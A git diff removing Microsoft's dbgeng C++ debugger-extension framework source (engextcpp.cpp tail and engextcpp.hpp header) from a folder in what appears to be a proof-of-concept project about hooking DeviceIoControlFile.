- (strlen(InStr) + 1) * sizeof(*InStr));
- ExtraData += (strlen(InStr) + 1) * sizeof(*InStr);
- }
- ExtData->In64 = In64;
- if (StrBuffer)
- {
- ExtData->StrBufferIndex = (ULONG)(ExtraData - (PBYTE)ExtData);
- ExtData->StrBufferChars = StrBufferChars;
- ExtraData += StrBufferChars * sizeof(*StrBuffer);
- }
-
- if ((Flags & (ErtIn | ErtUncheckedIn)) != 0)
- {
- if ((Flags & ErtIn) != 0 && !m_Release)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteTyped::%s", Message);
- }
-
- ExtData->InData = m_Typed;
- }
-
- Status = g_Ext->m_Advanced2->
- Request(DEBUG_REQUEST_EXT_TYPED_DATA_ANSI,
- ExtData, ExtDataBytes,
- ExtData, ExtDataBytes,
- NULL);
- if (SUCCEEDED(Status))
- {
- Status = ExtData->Status;
- }
-
- if ((Flags & ErtIgnoreError) == 0 &&
- FAILED(Status))
- {
- g_Ext->ThrowRemote(Status,
- "ExtRemoteTyped::%s", Message);
- }
-
- if ((Flags & ErtOut) != 0)
- {
- if (!Ret)
- {
- Ret = this;
- }
-
- Ret->Release();
- Ret->m_Typed = ExtData->OutData;
- Ret->ExtRemoteData::Set(&Ret->m_Typed);
- Ret->m_Release = true;
- }
-
- if (StrBuffer)
- {
- memcpy(StrBuffer, (PBYTE)ExtData + ExtData->StrBufferIndex,
- StrBufferChars * sizeof(*StrBuffer));
- }
-
- if (Out32)
- {
- *Out32 = ExtData->Out32;
- }
-
- if ((PULONG64)ExtData != StackExtData)
- {
- free(ExtData);
- }
-
- return Status;
-}
-
-void
-ExtRemoteTyped::Clear(void)
-{
- ZeroMemory(&m_Typed, sizeof(m_Typed));
- m_Release = false;
- ExtRemoteData::Clear();
-}
-
-//----------------------------------------------------------------------------
-//
-// Helpers for handling well-known NT data and types.
-//
-//----------------------------------------------------------------------------
-
-ULONG64 ExtNtOsInformation::s_KernelLoadedModuleBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_KernelProcessBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_KernelThreadBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_KernelProcessThreadListFieldCookie;
-ULONG64 ExtNtOsInformation::s_UserOsLoadedModuleBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_UserAltLoadedModuleBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_OsPebBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_AltPebBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_OsTebBaseInfoCookie;
-ULONG64 ExtNtOsInformation::s_AltTebBaseInfoCookie;
-
-ULONG64
-ExtNtOsInformation::GetKernelLoadedModuleListHead(void)
-{
- return GetNtDebuggerData(DEBUG_DATA_PsLoadedModuleListAddr,
- "nt!PsLoadedModuleList",
- 0);
-}
-
-ExtRemoteTypedList
-ExtNtOsInformation::GetKernelLoadedModuleList(void)
-{
- ExtRemoteTypedList List(GetKernelLoadedModuleListHead(),
- "nt!_KLDR_DATA_TABLE_ENTRY",
- "InLoadOrderLinks",
- 0,
- 0,
- &s_KernelLoadedModuleBaseInfoCookie,
- true);
- List.m_MaxIter = 1000;
- return List;
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetKernelLoadedModule(__in ULONG64 Offset)
-{
- // We are caching both type and link information
- // so provide a link field here to keep the
- // cache properly filled out.
- return ExtRemoteTyped("nt!_KLDR_DATA_TABLE_ENTRY",
- Offset,
- true,
- &s_KernelLoadedModuleBaseInfoCookie,
- "InLoadOrderLinks");
-}
-
-ULONG64
-ExtNtOsInformation::GetKernelProcessListHead(void)
-{
- return GetNtDebuggerData(DEBUG_DATA_PsActiveProcessHeadAddr,
- "nt!PsActiveProcessHead",
- 0);
-}
-
-ExtRemoteTypedList
-ExtNtOsInformation::GetKernelProcessList(void)
-{
- ExtRemoteTypedList List(GetKernelProcessListHead(),
- "nt!_EPROCESS",
- "ActiveProcessLinks",
- 0,
- 0,
- &s_KernelProcessBaseInfoCookie,
- true);
- List.m_MaxIter = 4000;
- return List;
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetKernelProcess(__in ULONG64 Offset)
-{
- // We are caching both type and link information
- // so provide a link field here to keep the
- // cache properly filled out.
- return ExtRemoteTyped("nt!_EPROCESS",
- Offset,
- true,
- &s_KernelProcessBaseInfoCookie,
- "ActiveProcessLinks");
-}
-
-ULONG64
-ExtNtOsInformation::GetKernelProcessThreadListHead(__in ULONG64 Process)
-{
- return Process +
- g_Ext->GetCachedFieldOffset(&s_KernelProcessThreadListFieldCookie,
- "nt!_EPROCESS",
- "Pcb.ThreadListHead");
-}
-
-ExtRemoteTypedList
-ExtNtOsInformation::GetKernelProcessThreadList(__in ULONG64 Process)
-{
- ExtRemoteTypedList List(GetKernelProcessThreadListHead(Process),
- "nt!_ETHREAD",
- "Tcb.ThreadListEntry",
- 0,
- 0,
- &s_KernelThreadBaseInfoCookie,
- true);
- List.m_MaxIter = 15000;
- return List;
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetKernelThread(__in ULONG64 Offset)
-{
- // We are caching both type and link information
- // so provide a link field here to keep the
- // cache properly filled out.
- return ExtRemoteTyped("nt!_ETHREAD",
- Offset,
- true,
- &s_KernelThreadBaseInfoCookie,
- "Tcb.ThreadListEntry");
-}
-
-ULONG64
-ExtNtOsInformation::GetUserLoadedModuleListHead(__in bool NativeOnly)
-{
- HRESULT Status;
-
- if (NativeOnly ||
- !g_Ext->Is32On64())
- {
- DEBUG_VALUE Data;
-
- if (FAILED(Status = g_Ext->m_Control->
- Evaluate("@@c++(&@$peb->Ldr->InLoadOrderModuleList)",
- DEBUG_VALUE_INT64, &Data, NULL)))
- {
- g_Ext->ThrowRemote(Status,
- "Unable to get loader list head from PEB");
- }
-
- return Data.I64;
- }
- else
- {
- // We're looking at a 32-bit structure so only
- // pull out a 32-bit pointer value. We do
- // not sign-extend as this is a UM pointer and
- // should not get sign-extended.
- return GetAltPeb().
- Eval("&@$extin->Ldr->InLoadOrderModuleList").GetUlong();
- }
-}
-
-ExtRemoteTypedList
-ExtNtOsInformation::GetUserLoadedModuleList(__in bool NativeOnly)
-{
- if (NativeOnly ||
- !g_Ext->Is32On64())
- {
- ExtRemoteTypedList List(GetUserLoadedModuleListHead(NativeOnly),
- "${$ntnsym}!_LDR_DATA_TABLE_ENTRY",
- "InLoadOrderLinks",
- 0,
- 0,
- &s_UserOsLoadedModuleBaseInfoCookie,
- true);
- List.m_MaxIter = 1000;
- return List;
- }
- else
- {
- ExtRemoteTypedList List(GetUserLoadedModuleListHead(NativeOnly),
- "${$ntwsym}!_LDR_DATA_TABLE_ENTRY",
- "InLoadOrderLinks",
- 0,
- 0,
- &s_UserAltLoadedModuleBaseInfoCookie,
- true);
- List.m_MaxIter = 1000;
- return List;
- }
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetUserLoadedModule(__in ULONG64 Offset,
- __in bool NativeOnly)
-{
- // We are caching both type and link information
- // so provide a link field here to keep the
- // cache properly filled out.
- if (NativeOnly ||
- !g_Ext->Is32On64())
- {
- return ExtRemoteTyped("${$ntnsym}!_LDR_DATA_TABLE_ENTRY",
- Offset,
- true,
- &s_UserOsLoadedModuleBaseInfoCookie,
- "InLoadOrderLinks");
- }
- else
- {
- return ExtRemoteTyped("${$ntwsym}!_LDR_DATA_TABLE_ENTRY",
- Offset,
- true,
- &s_UserAltLoadedModuleBaseInfoCookie,
- "InLoadOrderLinks");
- }
-}
-
-ULONG64
-ExtNtOsInformation::GetOsPebPtr(void)
-{
- HRESULT Status;
- ULONG64 Offset;
-
- if ((Status = g_Ext->m_System->
- GetCurrentProcessPeb(&Offset)) != S_OK)
- {
- g_Ext->ThrowRemote(Status,
- "Unable to get OS PEB pointer");
- }
-
- return Offset;
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetOsPeb(__in ULONG64 Offset)
-{
- return ExtRemoteTyped("${$ntnsym}!_PEB",
- Offset,
- true,
- &s_OsPebBaseInfoCookie);
-}
-
-ULONG64
-ExtNtOsInformation::GetOsTebPtr(void)
-{
- HRESULT Status;
- ULONG64 Offset;
-
- if ((Status = g_Ext->m_System->
- GetCurrentThreadTeb(&Offset)) != S_OK)
- {
- g_Ext->ThrowRemote(Status,
- "Unable to get OS TEB pointer");
- }
-
- return Offset;
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetOsTeb(__in ULONG64 Offset)
-{
- return ExtRemoteTyped("${$ntnsym}!_TEB",
- Offset,
- true,
- &s_OsTebBaseInfoCookie);
-}
-
-ULONG64
-ExtNtOsInformation::GetAltPebPtr(void)
-{
- ExtRemoteTyped AltTeb = GetAltTeb();
- return AltTeb.Field("ProcessEnvironmentBlock").GetUlong();
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetAltPeb(__in ULONG64 Offset)
-{
- return ExtRemoteTyped("${$ntwsym}!_PEB",
- Offset,
- true,
- &s_AltPebBaseInfoCookie);
-}
-
-ULONG64
-ExtNtOsInformation::GetAltTebPtr(void)
-{
- // If this is a 32-bit machine there's no
- // WOW64 TEB.
- if (!g_Ext->IsMachine64(g_Ext->m_ActualMachine))
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "No alternate TEB available");
- }
-
- //
- // The pointer to the WOW64 TEB is the first pointer of
- // the 64-bit TEB.
- //
-
- ExtRemoteData OsTeb(GetOsTebPtr(), sizeof(ULONG64));
- return OsTeb.GetUlong64();
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetAltTeb(__in ULONG64 Offset)
-{
- return ExtRemoteTyped("${$ntwsym}!_TEB",
- Offset,
- true,
- &s_AltTebBaseInfoCookie);
-}
-
-ULONG64
-ExtNtOsInformation::GetCurPebPtr(void)
-{
- return g_Ext->Is32On64() ?
- GetAltPebPtr() : GetOsPebPtr();
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetCurPeb(__in ULONG64 Offset)
-{
- return g_Ext->Is32On64() ?
- GetAltPeb(Offset) : GetOsPeb(Offset);
-}
-
-ULONG64
-ExtNtOsInformation::GetCurTebPtr(void)
-{
- return g_Ext->Is32On64() ?
- GetAltTebPtr() : GetOsTebPtr();
-}
-
-ExtRemoteTyped
-ExtNtOsInformation::GetCurTeb(__in ULONG64 Offset)
-{
- return g_Ext->Is32On64() ?
- GetAltTeb(Offset) : GetOsTeb(Offset);
-}
-
-ULONG64
-ExtNtOsInformation::GetNtDebuggerData(__in ULONG DataOffset,
- __in PCSTR Symbol,
- __in ULONG Flags)
-{
- ULONG64 Data;
-
- UNREFERENCED_PARAMETER(Flags);
-
- //
- // First check the kernel's data block.
- //
-
- if (g_Ext->m_Data->
- ReadDebuggerData(DataOffset, &Data, sizeof(Data), NULL) == S_OK)
- {
- return Data;
- }
-
- //
- // Fall back on symbols.
- //
-
- if (g_Ext->m_Symbols->
- GetOffsetByName(Symbol, &Data) != S_OK)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "Unable to find '%s', check your NT kernel symbols",
- Symbol);
- }
-
- return Data;
-}
-
-//----------------------------------------------------------------------------
-//
-// Number-to-string helpers for things like #define translations.
-//
-//----------------------------------------------------------------------------
-
-ExtDefine*
-ExtDefineMap::Map(__in ULONG64 Value)
-{
- if ((m_Flags & Bitwise) != 0)
- {
- for (ExtDefine* Define = m_Defines; Define->Name; Define++)
- {
- if ((Define->Value & Value) == Define->Value)
- {
- return Define;
- }
- }
- }
- else
- {
- for (ExtDefine* Define = m_Defines; Define->Name; Define++)
- {
- if (Define->Value == Value)
- {
- return Define;
- }
- }
- }
-
- return NULL;
-}
-
-PCSTR
-ExtDefineMap::MapStr(__in ULONG64 Value,
- __in_opt PCSTR InvalidStr)
-{
- ExtDefine* Define = Map(Value);
- if (Define)
- {
- return Define->Name;
- }
- if (InvalidStr)
- {
- return InvalidStr;
- }
- else
- {
- return g_Ext->PrintCircleString("<0x%I64x>", Value);
- }
-}
-
-void
-ExtDefineMap::Out(__in ULONG64 Value,
- __in ULONG Flags,
- __in_opt PCSTR InvalidStr)
-{
- ULONG OldIndent = g_Ext->m_LeftIndent;
- g_Ext->m_LeftIndent = g_Ext->m_CurChar;
-
- if ((Flags & OutValue) != 0)
- {
- g_Ext->OutWrap("%I64x", Value);
- }
- else if ((Flags & OutValue32) != 0)
- {
- g_Ext->OutWrap("%08I64x", Value);
- }
- else if ((Flags & OutValue64) != 0)
- {
- g_Ext->OutWrap("%016I64x", Value);
- }
-
- if ((m_Flags & Bitwise) != 0)
- {
- if (!Value)
- {
- if ((Flags & ValueAny) == 0)
- {
- g_Ext->OutWrapStr("");
- }
- }
- else
- {
- bool First = true;
-
- while (Value)
- {
- ExtDefine* Define = Map(Value);
-
- if (!Define &&
- (Flags & ValueAny) != 0 &&
- !InvalidStr)
- {
- // Value already displayed.
- break;
- }
-
- if (!First)
- {
- g_Ext->OutWrapStr(" | ");
- }
- else
- {
- if ((Flags & OutValueAny) != 0)
- {
- g_Ext->OutWrapStr(" ");
- }
-
- First = false;
- }
-
- if (Define)
- {
- g_Ext->OutWrapStr(Define->Name);
- Value &= ~Define->Value;
- }
- else
- {
- if (InvalidStr)
- {
- g_Ext->OutWrapStr(InvalidStr);
- }
- else
- {
- g_Ext->OutWrap("<0x%I64x>", Value);
- }
- break;
- }
- }
- }
- }
- else
- {
- if ((Flags & ValueAny) == 0 ||
- InvalidStr)
- {
- if ((Flags & OutValueAny) != 0)
- {
- g_Ext->OutWrapStr(" ");
- }
-
- g_Ext->OutWrapStr(MapStr(Value, InvalidStr));
- }
- else
- {
- ExtDefine* Define = Map(Value);
- if (Define)
- {
- InvalidStr = Define->Name;
- }
- if (InvalidStr)
- {
- if ((Flags & OutValueAny) != 0)
- {
- g_Ext->OutWrapStr(" ");
- }
-
- g_Ext->OutWrapStr(InvalidStr);
- }
- }
- }
-
- g_Ext->m_LeftIndent = OldIndent;
-}
-
-//----------------------------------------------------------------------------
-//
-// Extension DLL exports.
-//
-//----------------------------------------------------------------------------
-
-EXTERN_C BOOL WINAPI
-DllMain(HANDLE Instance, ULONG Reason, PVOID Reserved)
-{
- UNREFERENCED_PARAMETER(Reserved);
-
- switch(Reason)
- {
- case DLL_PROCESS_ATTACH:
- ExtExtension::s_Module = (HMODULE)Instance;
- break;
- }
-
- return TRUE;
-}
-
-EXTERN_C HRESULT CALLBACK
-DebugExtensionInitialize(__out PULONG Version,
- __out PULONG Flags)
-{
- HRESULT Status;
-
- // Pick up our global state.
- g_Ext = g_ExtInstancePtr;
- ExtExtension* Inst = g_Ext;
-
- // Pass registered commands to the extension
- // so that further references are confined to
- // extension class data.
- ExtCommandDesc::Transfer(&Inst->m_Commands,
- &Inst->m_LongestCommandName);
-
- if ((Status = Inst->Initialize()) != S_OK)
- {
- return Status;
- }
-
- *Version = DEBUG_EXTENSION_VERSION(Inst->m_ExtMajorVersion,
- Inst->m_ExtMinorVersion);
- *Flags = Inst->m_ExtInitFlags;
- return S_OK;
-}
-
-EXTERN_C void CALLBACK
-DebugExtensionUninitialize(void)
-{
- if (!g_Ext.IsSet())
- {
- return;
- }
-
- g_Ext->Uninitialize();
-}
-
-EXTERN_C void CALLBACK
-DebugExtensionNotify(__in ULONG Notify,
- __in ULONG64 Argument)
-{
- if (!g_Ext.IsSet())
- {
- return;
- }
-
- ExtExtension* Inst = g_Ext;
-
- switch(Notify)
- {
- case DEBUG_NOTIFY_SESSION_ACTIVE:
- Inst->OnSessionActive(Argument);
- break;
- case DEBUG_NOTIFY_SESSION_INACTIVE:
- Inst->OnSessionInactive(Argument);
- break;
- case DEBUG_NOTIFY_SESSION_ACCESSIBLE:
- Inst->OnSessionAccessible(Argument);
- break;
- case DEBUG_NOTIFY_SESSION_INACCESSIBLE:
- Inst->OnSessionInaccessible(Argument);
- break;
- }
-}
-
-EXTERN_C HRESULT CALLBACK
-KnownStructOutputEx(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __in_opt PCSTR TypeName,
- __out_ecount_opt(*BufferChars) PSTR Buffer,
- __inout_opt PULONG BufferChars)
-{
- if (!g_Ext.IsSet())
- {
- return E_UNEXPECTED;
- }
-
- return g_Ext->HandleKnownStruct(Client, Flags, Offset, TypeName,
- Buffer, BufferChars);
-}
-
-EXTERN_C HRESULT CALLBACK
-DebugExtensionQueryValueNames(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __out_ecount(BufferChars) PWSTR Buffer,
- __in ULONG BufferChars,
- __out PULONG BufferNeeded)
-{
- if (!g_Ext.IsSet())
- {
- return E_UNEXPECTED;
- }
-
- return g_Ext->HandleQueryValueNames(Client, Flags,
- Buffer, BufferChars, BufferNeeded);
-}
-
-EXTERN_C HRESULT CALLBACK
-DebugExtensionProvideValue(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in PCWSTR Name,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags)
-{
- if (!g_Ext.IsSet())
- {
- return E_UNEXPECTED;
- }
-
- return g_Ext->HandleProvideValue(Client, Flags, Name,
- Value, TypeModBase, TypeId, TypeFlags);
-}
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp
deleted file mode 100644
index 9c7cba83..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp
+++ /dev/null
@@ -1,2513 +0,0 @@
-//----------------------------------------------------------------------------
-//
-// C++ dbgeng extension framework.
-//
-// The framework makes it easy to write dbgeng extension
-// DLLs by wrapping the inconvenient parts of the extension API.
-// Boilerplate code is provided as base implementations,
-// removing the need to put in empty or skeleton code.
-// Error handling is done via exceptions, removing most
-// error path code.
-//
-// The framework assumes async exception handling compilation.
-//
-// Copyright (C) Microsoft Corporation, 2005-2006.
-//
-//----------------------------------------------------------------------------
-
-#if _MSC_VER > 1000
-#pragma once
-#endif
-
-#ifndef __ENGEXTCPP_HPP__
-#define __ENGEXTCPP_HPP__
-
-#ifndef __cplusplus
-#error engextcpp.hpp requires C++.
-#endif
-
-#include
-#include
-#define KDEXT_64BIT
-#include
-
-#include
-
-#if _MSC_VER >= 800
-#pragma warning(disable:4121)
-#endif
-
-// This will be an engine extension DLL so the wdbgexts
-// APIs are not appropriate.
-#undef DECLARE_API
-#undef DECLARE_API32
-#undef DECLARE_API64
-
-//----------------------------------------------------------------------------
-//
-// Basic utilities needed later.
-//
-//----------------------------------------------------------------------------
-
-#define EXT_RELEASE(_Unk) \
- ((_Unk) != NULL ? ((_Unk)->Release(), (void)((_Unk) = NULL)) : (void)NULL)
-
-#define EXT_DIMAT(_Array, _EltType) (sizeof(_Array) / sizeof(_EltType))
-#define EXT_DIMA(_Array) EXT_DIMAT(_Array, (_Array)[0])
-
-class ExtExtension;
-class ExtCommandDesc;
-
-//----------------------------------------------------------------------------
-//
-// All errors from this framework are handled by exceptions.
-// The exception hierarchy allows various conditions to
-// be handled separately, but generally extensions should
-// not need to do any exception handling. The framework
-// automatically wraps extensions with try/catch to absorb
-// errors properly.
-//
-//----------------------------------------------------------------------------
-
-class ExtException
-{
-public:
- ExtException(__in HRESULT Status,
- __in_opt PCSTR Message)
- {
- m_Status = Status;
- m_Message = Message;
- }
-
- HRESULT GetStatus(void)
- {
- return m_Status;
- }
- HRESULT SetStatus(__in HRESULT Status)
- {
- m_Status = Status;
- return Status;
- }
-
- PCSTR GetMessage(void)
- {
- return m_Message;
- }
- void SetMessage(__in_opt PCSTR Message)
- {
- m_Message = Message;
- }
-
- void PrintMessageVa(__in_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars,
- __in PCSTR Format,
- __in va_list Args);
- void WINAPIV PrintMessage(__in_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars,
- __in PCSTR Format,
- ...);
-
-protected:
- HRESULT m_Status;
- PCSTR m_Message;
-};
-
-class ExtRemoteException : public ExtException
-{
-public:
- ExtRemoteException(__in HRESULT Status,
- __in PCSTR Message)
- : ExtException(Status, Message) { }
-};
-
-class ExtStatusException : public ExtException
-{
-public:
- ExtStatusException(__in HRESULT Status,
- __in_opt PCSTR Message = NULL)
- : ExtException(Status, Message) { }
-};
-
-class ExtInterruptException : public ExtException
-{
-public:
- ExtInterruptException(void)
- : ExtException(HRESULT_FROM_NT(STATUS_CONTROL_C_EXIT),
- "Operation interrupted by request") { }
-};
-
-class ExtCheckedPointerException : public ExtException
-{
-public:
- ExtCheckedPointerException(__in PCSTR Message)
- : ExtException(E_INVALIDARG, Message) { }
-};
-
-class ExtInvalidArgumentException : public ExtException
-{
-public:
- ExtInvalidArgumentException(__in PCSTR Message)
- : ExtException(E_INVALIDARG, Message) { }
-};
-
-//----------------------------------------------------------------------------
-//
-// A checked pointer ensures that its value is non-NULL.
-// This kind of wrapper is used for engine interface pointers
-// so that extensions can simply use whatever interface they
-// prefer with soft failure against engines that don't support
-// the desired interfaces.
-//
-//----------------------------------------------------------------------------
-
-template
-class ExtCheckedPointer
-{
-public:
- ExtCheckedPointer(__in PCSTR Message)
- {
- m_Message = Message;
- m_Ptr = NULL;
- }
-
- bool IsSet(void)
- {
- return m_Ptr != NULL;
- }
- void Throw(void) throw(...)
- {
- if (!m_Ptr)
- {
- throw ExtCheckedPointerException(m_Message);
- }
- }
- _T* Get(void) throw(...)
- {
- Throw();
- return m_Ptr;
- }
- void Set(__in_opt _T* Ptr)
- {
- m_Ptr = Ptr;
- }
-
- bool operator==(const _T* Ptr) const
- {
- return m_Ptr == Ptr;
- }
- bool operator!=(const _T* Ptr) const
- {
- return !(*this == Ptr);
- }
-
- operator _T*(void) throw(...)
- {
- return Get();
- }
- _T* operator->(void) throw(...)
- {
- return Get();
- }
- _T** operator&(void)
- {
- return &m_Ptr;
- }
- ExtCheckedPointer<_T>& operator=(ExtCheckedPointer<_T>& Ptr)
- {
- Set(Ptr.m_Ptr);
- return *this;
- }
- ExtCheckedPointer<_T>& operator=(__in_opt _T* Ptr)
- {
- Set(Ptr);
- return *this;
- }
-
-protected:
- PCSTR m_Message;
- _T* m_Ptr;
-};
-
-//----------------------------------------------------------------------------
-//
-// An unknown holder is a safe pointer for an IUnknown.
-// It automatically checks for NULL usage and calls
-// Release on destruction.
-//
-//----------------------------------------------------------------------------
-
-template
-class ExtUnknownHolder
-{
-public:
- ExtUnknownHolder(void)
- {
- m_Unk = NULL;
- }
- ~ExtUnknownHolder(void)
- {
- EXT_RELEASE(m_Unk);
- }
-
- _T* Get(void) throw(...)
- {
- if (!m_Unk)
- {
- throw ExtStatusException(E_NOINTERFACE,
- "ExtUnknownHolder NULL reference");
- }
- return m_Unk;
- }
- void Set(__in_opt _T* Unk)
- {
- EXT_RELEASE(m_Unk);
- m_Unk = Unk;
- }
- void Relinquish(void)
- {
- m_Unk = NULL;
- }
-
- bool operator==(const _T* Unk) const
- {
- return m_Unk == Unk;
- }
- bool operator!=(const _T* Unk) const
- {
- return !(*this == Unk);
- }
-
- operator _T*(void) throw(...)
- {
- return Get();
- }
- _T* operator->(void) throw(...)
- {
- return Get();
- }
- _T** operator&(void)
- {
- if (m_Unk)
- {
- throw ExtStatusException(E_NOINTERFACE,
- "ExtUnknownHolder non-NULL & reference");
- }
- return &m_Unk;
- }
- ExtUnknownHolder<_T>& operator=(ExtUnknownHolder<_T>& Unk)
- {
- Set(Unk.m_Unk);
- return *this;
- }
- ExtUnknownHolder<_T>& operator=(_T* Unk)
- {
- Set(Unk);
- return *this;
- }
-
-protected:
- _T* m_Unk;
-};
-
-//----------------------------------------------------------------------------
-//
-// A delete holder is a safe pointer for a dynamic object.
-// It automatically checks for NULL usage and calls
-// delete on destruction.
-//
-//----------------------------------------------------------------------------
-
-template
-class ExtDeleteHolder
-{
-public:
- ExtDeleteHolder(void)
- {
- m_Ptr = NULL;
- }
- ~ExtDeleteHolder(void)
- {
- delete m_Ptr;
- }
-
- _T* New(void) throw(...)
- {
- _T* Ptr = new _T;
- if (!Ptr)
- {
- throw ExtStatusException(E_OUTOFMEMORY);
- }
- Set(Ptr);
- return Ptr;
- }
- _T* New(ULONG Elts) throw(...)
- {
- if (Elts > (ULONG_PTR)-1 / sizeof(_T))
- {
- throw ExtStatusException
- (HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW),
- "ExtDeleteHolder::New count overflow");
- }
- _T* Ptr = new _T[Elts];
- if (!Ptr)
- {
- throw ExtStatusException(E_OUTOFMEMORY);
- }
- Set(Ptr);
- return Ptr;
- }
-
- _T* Get(void) throw(...)
- {
- if (!m_Ptr)
- {
- throw ExtStatusException(E_INVALIDARG,
- "ExtDeleteHolder NULL reference");
- }
- return m_Ptr;
- }
- void Set(__in_opt _T* Ptr)
- {
- delete m_Ptr;
- m_Ptr = Ptr;
- }
- void Relinquish(void)
- {
- m_Ptr = NULL;
- }
-
- bool operator==(const _T* Ptr) const
- {
- return m_Ptr == Ptr;
- }
- bool operator!=(const _T* Ptr) const
- {
- return !(*this == Ptr);
- }
-
- operator _T*(void) throw(...)
- {
- return Get();
- }
- _T* operator->(void) throw(...)
- {
- return Get();
- }
- _T** operator&(void)
- {
- if (m_Ptr)
- {
- throw ExtStatusException(E_INVALIDARG,
- "ExtDeleteHolder non-NULL & reference");
- }
- return &m_Ptr;
- }
- ExtDeleteHolder<_T>& operator=(ExtDeleteHolder<_T>& Ptr)
- {
- Set(Ptr.m_Ptr);
- return *this;
- }
- ExtDeleteHolder<_T>& operator=(_T* Ptr)
- {
- Set(Ptr);
- return *this;
- }
-
-protected:
- _T* m_Ptr;
-};
-
-//----------------------------------------------------------------------------
-//
-// A current-thread holder is an auto-cleanup holder
-// for restoring the debugger's current thread.
-//
-//----------------------------------------------------------------------------
-
-class ExtCurrentThreadHolder
-{
-public:
- ExtCurrentThreadHolder(void)
- {
- m_ThreadId = DEBUG_ANY_ID;
- }
- ExtCurrentThreadHolder(__in ULONG Id)
- {
- m_ThreadId = Id;
- }
- ExtCurrentThreadHolder(__in bool DoRefresh)
- {
- if (DoRefresh)
- {
- Refresh();
- }
- }
- ~ExtCurrentThreadHolder(void)
- {
- Restore();
- }
-
- void Refresh(void) throw(...);
- void Restore(void);
-
- ULONG m_ThreadId;
-};
-
-//----------------------------------------------------------------------------
-//
-// A current-process holder is an auto-cleanup holder
-// for restoring the debugger's current process.
-//
-//----------------------------------------------------------------------------
-
-class ExtCurrentProcessHolder
-{
-public:
- ExtCurrentProcessHolder(void)
- {
- m_ProcessId = DEBUG_ANY_ID;
- }
- ExtCurrentProcessHolder(__in ULONG Id)
- {
- m_ProcessId = Id;
- }
- ExtCurrentProcessHolder(__in bool DoRefresh)
- {
- if (DoRefresh)
- {
- Refresh();
- }
- }
- ~ExtCurrentProcessHolder(void)
- {
- Restore();
- }
-
- void Refresh(void) throw(...);
- void Restore(void);
-
- ULONG m_ProcessId;
-};
-
-//----------------------------------------------------------------------------
-//
-// Descriptive information kept for all extension commands.
-// Automatic help and parameter parsing are built on top
-// of this descriptive info.
-//
-// The argument format is described below with EXT_COMMAND.
-//
-//----------------------------------------------------------------------------
-
-typedef void (ExtExtension::*ExtCommandMethod)(void);
-
-class ExtCommandDesc
-{
-public:
- ExtCommandDesc(__in PCSTR Name,
- __in ExtCommandMethod Method,
- __in PCSTR Desc,
- __in_opt PCSTR Args);
- ~ExtCommandDesc(void);
-
- ExtExtension* m_Ext;
- ExtCommandDesc* m_Next;
- PCSTR m_Name;
- ExtCommandMethod m_Method;
- PCSTR m_Desc;
- PCSTR m_ArgDescStr;
- bool m_ArgsInitialized;
-
- //
- // Derived by parsing the argument description string.
- //
-
- struct ArgDesc
- {
- PCSTR Name;
- PCSTR DescShort;
- PCSTR DescLong;
- PCSTR Default;
- ULONG Boolean:1;
- ULONG Expression:1;
- ULONG ExpressionSigned:1;
- ULONG ExpressionDelimited:1;
- ULONG String:1;
- ULONG StringRemainder:1;
- ULONG Required:1;
- ULONG Present:1;
- ULONG DefaultSilent:1;
- ULONG ExpressionBits;
- };
-
- bool m_CustomArgParsing;
- PSTR m_CustomArgDescShort;
- PSTR m_CustomArgDescLong;
- PSTR m_OptionChars;
- PSTR m_ArgStrings;
- ULONG m_NumArgs;
- ULONG m_NumUnnamedArgs;
- ArgDesc* m_Args;
-
- void ClearArgs(void);
- void DeleteArgs(void);
- PSTR ParseDirective(__in PSTR Scan) throw(...);
- void ParseArgDesc(void) throw(...);
- void ExInitialize(__in ExtExtension* Ext) throw(...);
-
- ArgDesc* FindArg(__in PCSTR Name);
- ArgDesc* FindUnnamedArg(__in ULONG Index);
-
- static void Transfer(__out ExtCommandDesc** Commands,
- __out PULONG LongestName);
-
- static ExtCommandDesc* s_Commands;
- static ULONG s_LongestCommandName;
-};
-
-//----------------------------------------------------------------------------
-//
-// Known-struct formatting support.
-// In order to automatically advertise known structs for
-// formatting an extension should point ExtExtension::m_KnownStructs
-// at an array of descriptors. Callbacks will then be sent
-// automatically to the formatting methods when necessary.
-//
-// The final array entry should have TypeName == NULL.
-//
-//----------------------------------------------------------------------------
-
-// Data formatting callback for known structs.
-// On entry the append buffer will be set to the target buffer.
-typedef void (ExtExtension::*ExtKnownStructMethod)
- (__in PCSTR TypeName,
- __in ULONG Flags,
- __in ULONG64 Offset);
-
-struct ExtKnownStruct
-{
- PCSTR TypeName;
